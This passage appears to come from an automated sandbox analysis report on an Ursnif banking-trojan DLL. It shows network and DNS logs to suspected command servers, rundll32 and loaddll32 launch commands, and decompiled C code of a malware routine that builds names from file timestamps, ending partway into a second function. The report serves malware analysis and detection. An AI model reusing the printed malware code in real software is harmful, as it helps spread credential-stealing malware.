Apr 4, 2021 18:58:08.606271029 CEST	49749	80	192.168.2.3	185.243.114.196
Apr 4, 2021 18:58:10.590683937 CEST	49748	80	192.168.2.3	185.243.114.196
Apr 4, 2021 18:58:10.606307030 CEST	49749	80	192.168.2.3	185.243.114.196
Apr 4, 2021 18:58:14.608742952 CEST	49752	80	192.168.2.3	185.243.114.196
Apr 4, 2021 18:58:15.622315884 CEST	49752	80	192.168.2.3	185.243.114.196
Apr 4, 2021 18:58:17.638129950 CEST	49752	80	192.168.2.3	185.243.114.196

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 4, 2021 18:56:27.610282898 CEST	64938	53	192.168.2.3	8.8.8.8
Apr 4, 2021 18:56:27.661509037 CEST	53	64938	8.8.8.8	192.168.2.3
Apr 4, 2021 18:56:29.904279947 CEST	60152	53	192.168.2.3	8.8.8.8
Apr 4, 2021 18:56:29.950160980 CEST	53	60152	8.8.8.8	192.168.2.3
Apr 4, 2021 18:56:30.829324961 CEST	57544	53	192.168.2.3	8.8.8.8
Apr 4, 2021 18:56:30.875340939 CEST	53	57544	8.8.8.8	192.168.2.3
Apr 4, 2021 18:56:34.728648901 CEST	55984	53	192.168.2.3	8.8.8.8
Apr 4, 2021 18:56:34.778789997 CEST	53	55984	8.8.8.8	192.168.2.3
Apr 4, 2021 18:56:36.646050930 CEST	64185	53	192.168.2.3	8.8.8.8
Apr 4, 2021 18:56:36.700548887 CEST	53	64185	8.8.8.8	192.168.2.3
Apr 4, 2021 18:56:37.888761044 CEST	65110	53	192.168.2.3	8.8.8.8
Apr 4, 2021 18:56:37.935349941 CEST	53	65110	8.8.8.8	192.168.2.3
Apr 4, 2021 18:56:38.682307959 CEST	58361	53	192.168.2.3	8.8.8.8
Apr 4, 2021 18:56:38.736848116 CEST	53	58361	8.8.8.8	192.168.2.3
Apr 4, 2021 18:56:40.214221954 CEST	63492	53	192.168.2.3	8.8.8.8
Apr 4, 2021 18:56:40.260200977 CEST	53	63492	8.8.8.8	192.168.2.3
Apr 4, 2021 18:56:41.369178057 CEST	60831	53	192.168.2.3	8.8.8.8
Apr 4, 2021 18:56:41.417992115 CEST	53	60831	8.8.8.8	192.168.2.3
Apr 4, 2021 18:56:42.479974031 CEST	60100	53	192.168.2.3	8.8.8.8
Apr 4, 2021 18:56:42.526197910 CEST	53	60100	8.8.8.8	192.168.2.3
Apr 4, 2021 18:56:43.744175911 CEST	53195	53	192.168.2.3	8.8.8.8
Apr 4, 2021 18:56:43.793410063 CEST	53	53195	8.8.8.8	192.168.2.3
Apr 4, 2021 18:56:44.976269007 CEST	50141	53	192.168.2.3	8.8.8.8
Apr 4, 2021 18:56:45.034862995 CEST	53	50141	8.8.8.8	192.168.2.3
Apr 4, 2021 18:56:46.232037067 CEST	53023	53	192.168.2.3	8.8.8.8
Apr 4, 2021 18:56:46.291232109 CEST	53	53023	8.8.8.8	192.168.2.3
Apr 4, 2021 18:56:46.994873047 CEST	49563	53	192.168.2.3	8.8.8.8
Apr 4, 2021 18:56:47.041007042 CEST	53	49563	8.8.8.8	192.168.2.3
Apr 4, 2021 18:56:47.777889013 CEST	51352	53	192.168.2.3	8.8.8.8
Apr 4, 2021 18:56:47.835448980 CEST	53	51352	8.8.8.8	192.168.2.3
Apr 4, 2021 18:56:48.626391888 CEST	59349	53	192.168.2.3	8.8.8.8
Apr 4, 2021 18:56:48.672518969 CEST	53	59349	8.8.8.8	192.168.2.3
Apr 4, 2021 18:56:50.318913937 CEST	57084	53	192.168.2.3	8.8.8.8
Apr 4, 2021 18:56:50.365659952 CEST	53	57084	8.8.8.8	192.168.2.3
Apr 4, 2021 18:56:59.768665075 CEST	58823	53	192.168.2.3	8.8.8.8
Apr 4, 2021 18:56:59.826195955 CEST	53	58823	8.8.8.8	192.168.2.3
Apr 4, 2021 18:57:04.621097088 CEST	57568	53	192.168.2.3	8.8.8.8
Apr 4, 2021 18:57:04.677375078 CEST	53	57568	8.8.8.8	192.168.2.3
Apr 4, 2021 18:57:18.677835941 CEST	50540	53	192.168.2.3	8.8.8.8
Apr 4, 2021 18:57:18.737010002 CEST	53	50540	8.8.8.8	192.168.2.3
Apr 4, 2021 18:57:20.227236032 CEST	54366	53	192.168.2.3	8.8.8.8
Apr 4, 2021 18:57:20.275999069 CEST	53	54366	8.8.8.8	192.168.2.3
Apr 4, 2021 18:57:20.559334040 CEST	53034	53	192.168.2.3	8.8.8.8
Apr 4, 2021 18:57:20.614182949 CEST	53	53034	8.8.8.8	192.168.2.3
Apr 4, 2021 18:57:20.675209045 CEST	57762	53	192.168.2.3	8.8.8.8
Apr 4, 2021 18:57:20.729763031 CEST	53	57762	8.8.8.8	192.168.2.3
Apr 4, 2021 18:57:21.508186102 CEST	55435	53	192.168.2.3	8.8.8.8
Apr 4, 2021 18:57:21.517031908 CEST	50713	53	192.168.2.3	8.8.8.8
Apr 4, 2021 18:57:21.573930979 CEST	53	50713	8.8.8.8	192.168.2.3
Apr 4, 2021 18:57:21.583472967 CEST	53	55435	8.8.8.8	192.168.2.3
Apr 4, 2021 18:57:21.614002943 CEST	56132	53	192.168.2.3	8.8.8.8
Apr 4, 2021 18:57:21.671776056 CEST	53	56132	8.8.8.8	192.168.2.3
Apr 4, 2021 18:57:24.858932972 CEST	58987	53	192.168.2.3	8.8.8.8
Apr 4, 2021 18:57:24.913906097 CEST	53	58987	8.8.8.8	192.168.2.3
Apr 4, 2021 18:57:36.552911997 CEST	56579	53	192.168.2.3	8.8.8.8
Apr 4, 2021 18:57:36.600281000 CEST	53	56579	8.8.8.8	192.168.2.3
Apr 4, 2021 18:57:40.304420948 CEST	60633	53	192.168.2.3	8.8.8.8
Apr 4, 2021 18:57:40.358575106 CEST	53	60633	8.8.8.8	192.168.2.3
Apr 4, 2021 18:57:48.665844917 CEST	61292	53	192.168.2.3	8.8.8.8
Apr 4, 2021 18:57:48.720395088 CEST	53	61292	8.8.8.8	192.168.2.3
Apr 4, 2021 18:57:49.653027058 CEST	61292	53	192.168.2.3	8.8.8.8
Apr 4, 2021 18:57:49.709651947 CEST	53	61292	8.8.8.8	192.168.2.3
Apr 4, 2021 18:57:50.669909954 CEST	61292	53	192.168.2.3	8.8.8.8
Apr 4, 2021 18:57:50.715852976 CEST	53	61292	8.8.8.8	192.168.2.3
Apr 4, 2021 18:57:52.667727947 CEST	61292	53	192.168.2.3	8.8.8.8
Apr 4, 2021 18:57:52.723737001 CEST	53	61292	8.8.8.8	192.168.2.3
Apr 4, 2021 18:57:56.683665037 CEST	61292	53	192.168.2.3	8.8.8.8
Apr 4, 2021 18:57:56.729597092 CEST	53	61292	8.8.8.8	192.168.2.3
Apr 4, 2021 18:58:06.486561060 CEST	63619	53	192.168.2.3	8.8.8.8
Apr 4, 2021 18:58:06.542745113 CEST	53	63619	8.8.8.8	192.168.2.3
Apr 4, 2021 18:58:07.506000042 CEST	64938	53	192.168.2.3	8.8.8.8
Apr 4, 2021 18:58:07.583383083 CEST	53	64938	8.8.8.8	192.168.2.3
Apr 4, 2021 18:58:11.274224043 CEST	61946	53	192.168.2.3	8.8.8.8
Apr 4, 2021 18:58:11.330255985 CEST	53	61946	8.8.8.8	192.168.2.3
Apr 4, 2021 18:58:13.719815016 CEST	64910	53	192.168.2.3	8.8.8.8
Apr 4, 2021 18:58:13.791820049 CEST	53	64910	8.8.8.8	192.168.2.3
Apr 4, 2021 18:58:14.850806952 CEST	52123	53	192.168.2.3	8.8.8.8
Apr 4, 2021 18:58:14.898058891 CEST	53	52123	8.8.8.8	192.168.2.3
Apr 4, 2021 18:58:15.225184917 CEST	56130	53	192.168.2.3	8.8.8.8
Apr 4, 2021 18:58:15.298180103 CEST	53	56130	8.8.8.8	192.168.2.3
Apr 4, 2021 18:58:15.925690889 CEST	56338	53	192.168.2.3	8.8.8.8
Apr 4, 2021 18:58:15.941443920 CEST	59420	53	192.168.2.3	8.8.8.8
Apr 4, 2021 18:58:15.983675003 CEST	53	56338	8.8.8.8	192.168.2.3
Apr 4, 2021 18:58:15.995733023 CEST	53	59420	8.8.8.8	192.168.2.3
Apr 4, 2021 18:58:21.660877943 CEST	58784	53	192.168.2.3	8.8.8.8
Apr 4, 2021 18:58:21.721563101 CEST	53	58784	8.8.8.8	192.168.2.3
Apr 4, 2021 18:58:37.475678921 CEST	63978	53	192.168.2.3	8.8.8.8
Apr 4, 2021 18:58:37.531588078 CEST	53	63978	8.8.8.8	192.168.2.3
Apr 4, 2021 18:58:38.478279114 CEST	62938	53	192.168.2.3	8.8.8.8
Apr 4, 2021 18:58:38.564630032 CEST	53	62938	8.8.8.8	192.168.2.3
Apr 4, 2021 18:58:38.570694923 CEST	55708	53	192.168.2.3	8.8.8.8
Apr 4, 2021 18:58:38.625051975 CEST	53	55708	8.8.8.8	192.168.2.3
Apr 4, 2021 18:58:38.630319118 CEST	56803	53	192.168.2.3	8.8.8.8
Apr 4, 2021 18:58:38.684590101 CEST	53	56803	8.8.8.8	192.168.2.3
Apr 4, 2021 18:58:42.607873917 CEST	57145	53	192.168.2.3	8.8.8.8
Apr 4, 2021 18:58:42.663883924 CEST	53	57145	8.8.8.8	192.168.2.3
Apr 4, 2021 18:58:42.882540941 CEST	55359	53	192.168.2.3	8.8.8.8
Apr 4, 2021 18:58:42.948448896 CEST	53	55359	8.8.8.8	192.168.2.3
Apr 4, 2021 18:58:44.167092085 CEST	58306	53	192.168.2.3	8.8.8.8
Apr 4, 2021 18:58:44.221791983 CEST	53	58306	8.8.8.8	192.168.2.3
Apr 4, 2021 18:58:45.443466902 CEST	64124	53	192.168.2.3	8.8.8.8
Apr 4, 2021 18:58:45.512501001 CEST	53	64124	8.8.8.8	192.168.2.3

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Apr 4, 2021 18:57:21.508186102 CEST	192.168.2.3	8.8.8.8	0x6b2	Standard query (0)	login.microsoftonline.com	A (IP address)	IN (0x0001)
Apr 4, 2021 18:58:07.506000042 CEST	192.168.2.3	8.8.8.8	0xb0c5	Standard query (0)	under17.com	A (IP address)	IN (0x0001)
Apr 4, 2021 18:58:21.660877943 CEST	192.168.2.3	8.8.8.8	0xc7b7	Standard query (0)	under17.com	A (IP address)	IN (0x0001)
Apr 4, 2021 18:58:42.882540941 CEST	192.168.2.3	8.8.8.8	0x2c05	Standard query (0)	urs-world.com	A (IP address)	IN (0x0001)
Apr 4, 2021 18:58:44.167092085 CEST	192.168.2.3	8.8.8.8	0x5bfb	Standard query (0)	urs-world.com	A (IP address)	IN (0x0001)
Apr 4, 2021 18:58:45.443466902 CEST	192.168.2.3	8.8.8.8	0xbc6d	Standard query (0)	urs-world.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Apr 4, 2021 18:57:21.583472967 CEST	8.8.8.8	192.168.2.3	0x6b2	No error (0)	login.microsoftonline.com	a.privatelink.msidentity.com		CNAME (Canonical name)	IN (0x0001)
Apr 4, 2021 18:57:21.583472967 CEST	8.8.8.8	192.168.2.3	0x6b2	No error (0)	a.privatelink.msidentity.com	prda.aadg.msidentity.com		CNAME (Canonical name)	IN (0x0001)
Apr 4, 2021 18:57:21.583472967 CEST	8.8.8.8	192.168.2.3	0x6b2	No error (0)	prda.aadg.msidentity.com	www.tm.a.prd.aadg.akadns.net		CNAME (Canonical name)	IN (0x0001)
Apr 4, 2021 18:57:21.671776056 CEST	8.8.8.8	192.168.2.3	0x185	No error (0)	prda.aadg.msidentity.com	www.tm.a.prd.aadg.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)
Apr 4, 2021 18:58:07.583383083 CEST	8.8.8.8	192.168.2.3	0xb0c5	No error (0)	under17.com		185.243.114.196	A (IP address)	IN (0x0001)
Apr 4, 2021 18:58:15.983675003 CEST	8.8.8.8	192.168.2.3	0x51bb	No error (0)	prda.aadg.msidentity.com	www.tm.a.prd.aadg.akadns.net		CNAME (Canonical name)	IN (0x0001)
Apr 4, 2021 18:58:21.721563101 CEST	8.8.8.8	192.168.2.3	0xc7b7	Server failure (2)	under17.com	none	none	A (IP address)	IN (0x0001)
Apr 4, 2021 18:58:42.948448896 CEST	8.8.8.8	192.168.2.3	0x2c05	No error (0)	urs-world.com		185.186.244.95	A (IP address)	IN (0x0001)
Apr 4, 2021 18:58:44.221791983 CEST	8.8.8.8	192.168.2.3	0x5bfb	No error (0)	urs-world.com		185.186.244.95	A (IP address)	IN (0x0001)
Apr 4, 2021 18:58:45.512501001 CEST	8.8.8.8	192.168.2.3	0xbc6d	No error (0)	urs-world.com		185.186.244.95	A (IP address)	IN (0x0001)

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: loaddll32.exe PID: 5904 Parent PID: 5568

General

Start time:	18:56:35
Start date:	04/04/2021
Path:	C:\Windows\System32\loaddll32.exe
Wow64 process (32bit):	true
Commandline:	loaddll32.exe 'C:\Users\user\Desktop\KAsJ2r4XYY.dll'
Imagebase:	0x70000
File size:	116736 bytes
MD5 hash:	542795ADF7CC08EFCF675D65310596E8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source: 00000000.00000002.468304011.00000000009A0000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: cmd.exe PID: 3728 Parent PID: 5904

General

Start time:	18:56:35
Start date:	04/04/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\KAsJ2r4XYY.dll',#1
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 2212 Parent PID: 5904

General

Start time:	18:56:35
Start date:	04/04/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\KAsJ2r4XYY.dll,StartService
Imagebase:	0xb20000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source: 00000002.00000002.233568120.00000000036C0000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 5944 Parent PID: 3728

General

Start time:	18:56:35
Start date:	04/04/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe 'C:\Users\user\Desktop\KAsJ2r4XYY.dll',#1
Imagebase:	0xb20000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000003.00000003.430938761.000000000526D000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000003.00000003.352421951.000000000536B000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000003.00000003.352356466.000000000536B000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000003.00000003.352397565.000000000536B000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000003.00000003.352410447.000000000536B000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000003.00000003.352378361.000000000536B000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source: 00000003.00000002.469880378.0000000002FE0000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000003.00000003.352447282.000000000536B000.00000004.00000040.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: iexplore.exe PID: 6348 Parent PID: 792

General

Start time:	18:57:18
Start date:	04/04/2021
Path:	C:\Program Files\internet explorer\iexplore.exe
Wow64 process (32bit):	false
Commandline:	'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding
Imagebase:	0x7ff7121d0000
File size:	823560 bytes
MD5 hash:	6465CB92B25A7BC1DF8E01D8AC5E7596
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: iexplore.exe PID: 6400 Parent PID: 6348

General

Start time:	18:57:19
Start date:	04/04/2021
Path:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
Wow64 process (32bit):	true
Commandline:	'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:6348 CREDAT:17410 /prefetch:2
Imagebase:	0xfa0000
File size:	822536 bytes
MD5 hash:	071277CC2E3DF41EEEA8013E2AB58D5A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: iexplore.exe PID: 7164 Parent PID: 792

General

Start time:	18:58:06
Start date:	04/04/2021
Path:	C:\Program Files\internet explorer\iexplore.exe
Wow64 process (32bit):	false
Commandline:	'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding
Imagebase:	0x7ff7121d0000
File size:	823560 bytes
MD5 hash:	6465CB92B25A7BC1DF8E01D8AC5E7596
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: iexplore.exe PID: 3420 Parent PID: 7164

General

Start time:	18:58:07
Start date:	04/04/2021
Path:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
Wow64 process (32bit):	true
Commandline:	'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:7164 CREDAT:17410 /prefetch:2
Imagebase:	0xfa0000
File size:	822536 bytes
MD5 hash:	071277CC2E3DF41EEEA8013E2AB58D5A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: iexplore.exe PID: 5200 Parent PID: 7164

General

Start time:	18:58:14
Start date:	04/04/2021
Path:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
Wow64 process (32bit):	true
Commandline:	'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:7164 CREDAT:17418 /prefetch:2
Imagebase:	0xfa0000
File size:	822536 bytes
MD5 hash:	071277CC2E3DF41EEEA8013E2AB58D5A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: iexplore.exe PID: 1268 Parent PID: 792

General

Start time:	18:58:37
Start date:	04/04/2021
Path:	C:\Program Files\internet explorer\iexplore.exe
Wow64 process (32bit):	false
Commandline:	'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding
Imagebase:	0x7ff7121d0000
File size:	823560 bytes
MD5 hash:	6465CB92B25A7BC1DF8E01D8AC5E7596
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: iexplore.exe PID: 5068 Parent PID: 1268

General

Start time:	18:58:38
Start date:	04/04/2021
Path:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
Wow64 process (32bit):	true
Commandline:	'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:1268 CREDAT:17410 /prefetch:2
Imagebase:	0xfa0000
File size:	822536 bytes
MD5 hash:	071277CC2E3DF41EEEA8013E2AB58D5A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: loaddll32.exe PID: 5904 Parent PID: 5568 loaddll32.exeCOMMON

Executed Functions

Function 009212D4, Relevance: 34.7, APIs: 23, Instructions: 222
memoryfiletimeCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E009212D4(signed char* __eax, intOrPtr* _a4) {
				signed int _v12;
				void* _v16;
				CHAR* _v20;
				struct _FILETIME _v28;
				void* _v32;
				void* _v36;
				char* _v40;
				signed int _v44;
				long _v344;
				struct _WIN32_FIND_DATAA _v368;
				signed int _t72;
				void* _t74;
				signed int _t76;
				void* _t78;
				intOrPtr _t81;
				CHAR* _t83;
				void* _t85;
				signed char _t89;
				signed char _t91;
				intOrPtr _t93;
				void* _t96;
				long _t99;
				int _t101;
				signed int _t109;
				char* _t111;
				void* _t113;
				int _t119;
				char _t128;
				void* _t134;
				signed int _t136;
				char* _t139;
				signed int _t140;
				char* _t141;
				char* _t146;
				signed char* _t148;
				int _t151;
				void* _t152;
				void* _t153;
				void* _t154;
				void* _t165;

				_v12 = _v12 & 0x00000000;
				_t148 = __eax;
				_t72 =  *0x92d278; // 0x63699bc3
				_t74 = RtlAllocateHeap( *0x92d238, 0, _t72 ^ 0x63699ac7);
				_v20 = _t74;
				if(_t74 == 0) {
					L36:
					return _v12;
				}
				_t76 =  *0x92d278; // 0x63699bc3
				_t78 = RtlAllocateHeap( *0x92d238, 0, _t76 ^ 0x63699bce);
				_t146 = 0;
				_v36 = _t78;
				if(_t78 == 0) {
					L35:
					HeapFree( *0x92d238, _t146, _v20);
					goto L36;
				}
				_t136 =  *0x92d278; // 0x63699bc3
				memset(_t78, 0, _t136 ^ 0x63699bce);
				_t81 =  *0x92d27c; // 0x298a5a8
				_t154 = _t153 + 0xc;
				_t5 = _t81 + 0x92e7f2; // 0x73797325
				_t83 = E009295B1(_t5);
				_v20 = _t83;
				if(_t83 == 0) {
					L34:
					HeapFree( *0x92d238, _t146, _v36);
					goto L35;
				}
				_t134 = 0xffffffffffffffff;
				_v28.dwLowDateTime = 0x63699bce;
				_v28.dwHighDateTime = 0x63699bce;
				_t85 = CreateFileA(_t83, 0x80000000, 1, 0, 3, 0x80, 0); // executed
				_v32 = _t85;
				if(_t85 != 0x63699bce) {
					GetFileTime(_t85,  &_v28, 0, 0);
					_v28.dwLowDateTime = _v28.dwLowDateTime + 0x2a69c000;
					asm("adc dword [ebp-0x14], 0xc9"); // executed
					FindCloseChangeNotification(_v32); // executed
				}
				 *(StrRChrA(_v20, _t146, 0x5c)) = 0;
				_t89 = 0x3c6ef35f +  *_t148 * 0x19660d;
				_t91 = 0x3c6ef35f + _t89 * 0x19660d;
				 *_t148 = _t91;
				_v32 = _t91 & 0x000000ff;
				_t93 =  *0x92d27c; // 0x298a5a8
				_t16 = _t93 + 0x92e813; // 0x642e2a5c
				_v40 = _t146;
				_v44 = _t89 & 0x000000ff;
				__imp__(_v20, _t16);
				_t96 = FindFirstFileA(_v20,  &_v368); // executed
				_v16 = _t96;
				if(_t96 == _t134) {
					_t146 = 0;
					goto L34;
				}
				_t99 = CompareFileTime( &(_v368.ftLastWriteTime),  &_v28);
				while(_t99 > 0) {
					_t101 = FindNextFileA(_v16,  &_v368); // executed
					if(_t101 == 0) {
						FindClose(_v16);
						_v16 = FindFirstFileA(_v20,  &_v368);
						_v28.dwHighDateTime = _v344;
						_v28.dwLowDateTime = _v368.ftLastWriteTime.dwLowDateTime;
					}
					_t99 = CompareFileTime( &(_v368.ftLastWriteTime),  &_v28);
				}
				_v12 = _v12 & 0x00000000;
				while(1) {
					_t109 = _v44;
					if(_v12 <= _t109) {
						goto L15;
					}
					_t140 = _v12;
					if(_t140 > _v32) {
						_t141 = _v36;
						 *_a4 = _t141;
						while(1) {
							_t128 =  *_t141;
							if(_t128 == 0) {
								break;
							}
							if(_t128 < 0x30) {
								 *_t141 = _t128 + 0x20;
							}
							_t141 = _t141 + 1;
						}
						_v12 = 1;
						FindClose(_v16); // executed
						_t146 = 0;
						goto L35;
					}
					_t165 = _t140 - _t109;
					L15:
					if(_t165 == 0 || _v12 == _v32) {
						_t111 = StrChrA( &(_v368.cFileName), 0x2e);
						_t139 = _v40;
						_t151 = _t111 -  &(_v368.cFileName);
						_t113 = 0;
						if(_t139 != 0) {
							_t48 = _t151 - 4; // -4
							_t113 = _t48;
							if(_t113 > _t151) {
								_t113 = 0;
							}
						}
						if(_t151 > 4) {
							_t151 = 4;
						}
						memcpy(_v36 + _t139, _t152 + _t113 - 0x140, _t151);
						_t154 = _t154 + 0xc;
						_v40 =  &(_v40[_t151]);
					}
					do {
						_t119 = FindNextFileA(_v16,  &_v368); // executed
						if(_t119 == 0) {
							FindClose(_v16);
							_v16 = FindFirstFileA(_v20,  &_v368);
						}
					} while (CompareFileTime( &(_v368.ftLastWriteTime),  &_v28) > 0);
					_v12 = _v12 + 1;
				}
			}

0x009212dd
0x009212e3
0x009212e5
0x009212ff
0x00921303
0x00921306
0x0092157b
0x00921582
0x00921582
0x0092130c
0x00921321
0x00921323
0x00921327
0x0092132a
0x0092156b
0x00921575
0x00000000
0x00921575
0x00921330
0x0092133b
0x00921340
0x00921345
0x00921348
0x0092134f
0x00921356
0x00921359
0x0092155b
0x00921565
0x00000000
0x00921565
0x0092136f
0x00921373
0x00921376
0x00921379
0x00921381
0x00921384
0x0092138d
0x00921393
0x0092139d
0x009213a4
0x009213a4
0x009213b6
0x009213c1
0x009213cf
0x009213d4
0x009213d9
0x009213dc
0x009213e1
0x009213eb
0x009213ee
0x009213f1
0x00921407
0x0092140b
0x0092140e
0x00921559
0x00000000
0x00921559
0x00921425
0x00921476
0x00921439
0x00921441
0x00921446
0x00921454
0x0092145d
0x00921466
0x00921466
0x00921474
0x00921474
0x0092147a
0x0092147e
0x0092147e
0x00921484
0x00000000
0x00000000
0x00921486
0x0092148c
0x00921533
0x00921536
0x00921543
0x00921543
0x00921547
0x00000000
0x00000000
0x0092153c
0x00921540
0x00921540
0x00921542
0x00921542
0x0092154c
0x00921553
0x00921555
0x00000000
0x00921555
0x00921492
0x00921494
0x00921494
0x009214a7
0x009214ad
0x009214b8
0x009214ba
0x009214be
0x009214c0
0x009214c0
0x009214c5
0x009214c7
0x009214c7
0x009214c5
0x009214cc
0x009214d0
0x009214d0
0x009214e0
0x009214e5
0x009214e8
0x009214e8
0x009214eb
0x009214f5
0x009214fd
0x00921502
0x00921510
0x00921510
0x00921524
0x00921528
0x00921528

APIs

RtlAllocateHeap.NTDLL(00000000,63699BC3,00000000), ref: 009212FF
RtlAllocateHeap.NTDLL(00000000,63699BC3), ref: 00921321
memset.NTDLL ref: 0092133B

Part of subcall function 009295B1: ExpandEnvironmentStringsA.KERNEL32(00000000,00000000,00000000,00000000,009223E9,63699BCE,00921354,73797325), ref: 009295C2
Part of subcall function 009295B1: ExpandEnvironmentStringsA.KERNEL32(?,00000000,00000000,00000000), ref: 009295DC

CreateFileA.KERNELBASE(00000000,80000000,00000001,00000000,00000003,00000080,00000000,73797325), ref: 00921379
GetFileTime.KERNEL32(00000000,?,00000000,00000000), ref: 0092138D
FindCloseChangeNotification.KERNELBASE(00000000), ref: 009213A4
StrRChrA.SHLWAPI(?,00000000,0000005C), ref: 009213B0
lstrcat.KERNEL32(?,642E2A5C), ref: 009213F1
FindFirstFileA.KERNELBASE(?,?), ref: 00921407
CompareFileTime.KERNEL32(?,?), ref: 00921425
FindNextFileA.KERNELBASE(009296C1,?), ref: 00921439
FindClose.KERNEL32(009296C1), ref: 00921446
FindFirstFileA.KERNEL32(?,?), ref: 00921452
CompareFileTime.KERNEL32(?,?), ref: 00921474
StrChrA.SHLWAPI(?,0000002E), ref: 009214A7
memcpy.NTDLL(00000000,?,00000000), ref: 009214E0
FindNextFileA.KERNELBASE(009296C1,?), ref: 009214F5
FindClose.KERNEL32(009296C1), ref: 00921502
FindFirstFileA.KERNEL32(?,?), ref: 0092150E
CompareFileTime.KERNEL32(?,?), ref: 0092151E
FindClose.KERNELBASE(009296C1), ref: 00921553
HeapFree.KERNEL32(00000000,00000000,73797325), ref: 00921565
HeapFree.KERNEL32(00000000,?), ref: 00921575

Memory Dump Source

Source File: 00000000.00000002.467876993.0000000000921000.00000020.00000001.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.467825516.0000000000920000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468057760.000000000092C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.468095252.000000000092D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468173149.000000000092F000.00000002.00000001.sdmp Download File

Similarity

API ID: File$Find$CloseHeapTime$CompareFirst$AllocateEnvironmentExpandFreeNextStrings$ChangeCreateNotificationlstrcatmemcpymemset
String ID:
API String ID: 2944988578-0
Opcode ID: 7f4e67bbb98a824ba1b4cd09de01b4622f12782e6f9450d850272ceceb1410d1
Instruction ID: b60029ce518f9de2dd621037e73b1e6869e88ba17b0d55575fba9c95d73be914
Opcode Fuzzy Hash: 7f4e67bbb98a824ba1b4cd09de01b4622f12782e6f9450d850272ceceb1410d1
Instruction Fuzzy Hash: 2C8157B1D00219EFDF20DFA5EC84AEEBBB9FF58300F1001AAE515E6260D7309A55DB60

Uniqueness

Uniqueness Score: -1.00%

Function 1000102F, Relevance: 13.6, APIs: 9, Instructions: 81
filetimeCOMMON

Download Yara Rule

C-Code - Quality: 69%

			E1000102F(intOrPtr __edx, long _a4, void** _a8, void** _a12) {
				intOrPtr _v12;
				struct _FILETIME* _v16;
				short _v60;
				struct _FILETIME* _t14;
